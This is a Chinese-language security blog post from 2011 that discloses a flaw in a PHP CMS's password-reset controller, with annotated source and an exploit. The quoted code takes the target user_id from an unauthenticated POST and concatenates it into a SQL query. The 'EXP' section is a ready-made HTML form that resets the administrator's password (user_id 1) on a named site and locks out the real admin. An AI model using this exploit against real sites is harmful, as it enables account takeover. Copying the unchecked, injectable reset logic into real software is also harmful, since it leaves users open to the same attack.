作者:心灵
感觉这个洞没什么用,就扔出来共享下,^_^!
不是说这个漏洞鸡肋需要什么条件,而是直接改管理员密码了,等你进后台后,真正的管理员都进不到,更不知道新密码是什么了,所以才鸡肋。
经典对白,看代码……
index\setpwdAction.php:
运行路径是:http://127.0.0.1/index.php/setpwd,呵呵,看上去有点奇特哦!
<?php
class setpwdAction extends security_normal {
function action(){
$loginname=$this->_getParamId(1);
$forgetpwd=$this->_getParamId(2);
global $conn;
if($_POST['user_id']){ //-0-! 居然不是获取Session里的而是自己定义...漏洞所在
$user=new model_User(); //连接数据库
$user->setSubsection('WHERE user_id='.$_POST['user_id']); //查询会员ID 注意 是ID 不是name 默认管理员的ID 绝对是1
$results=$user->doSelectOne();
$password1=$_POST['pwd1']; //密码
$password2=$_POST['pwd2']; //确认密码
$pwd='';
if($password1==$password2 and strlen($password1)>4)
{
$salt = md5(rand(100000, 999999).$_POST['loginname']);
//这个数值用作多重加密密码 不错的加密思路 同时写在USER表里
$pwd=sha1($salt.$password1);
//不解析。。。 就是加密
}
if($results) //不解析
{
if(strlen($pwd)>0){ //没理由你打算空密码把?
$user->setSalt($salt);
$user->setPassword($pwd);
}
$user->setForgetpwd('');
$results=$user->doUpdate();
//写进去了...
if($results)
$exeresult='密码修改成功,请使用新密码登录网站';
else
$exeresult='验证错误,请联系网站管理员!';
//以下代码可以忽略 |
分析完毕,admin 和会员同放在 USER 表里,所以这里直接修改了。
后台登录地址:http://xx.com/admin.php/login。
EXP:
<form method="post" action="http://www.t00ls.net/index.php/setpwd" enctype="multipart/form-data" id="upload">
<label>
<input name="user_id" type="text" value="1" />
</label>
<label>
<input name="pwd1" type="text" value="自己写" />
</label>
<label>
<input name="pwd2" type="text" value="自己写" />
</label>
<label>
<input name="loginname" type="text" value="admin" />
</label>
<div></div>
<input name="respondids" value="确定修改 " class="coolbg np" type="submit">
</form> |
文章作者
Nuclear'Atk
上次更新
2011-01-21
许可协议
Nuclear'Atk(核攻击)网络安全实验室版权所有,转载请注明出处。